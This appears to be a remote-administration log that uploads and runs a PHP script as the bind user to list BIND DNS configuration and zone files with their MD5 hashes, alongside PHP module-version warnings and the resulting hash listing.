MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-06 23:00:49: Establishing a connection
2026-04-06 23:01:46: Establishing a connection
2026-04-06 23:01:46: 

PUT: /tmp/pkp542466

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-06 23:01:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp542466; rm /tmp/pkp542466'

2026-04-06 23:01:47: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
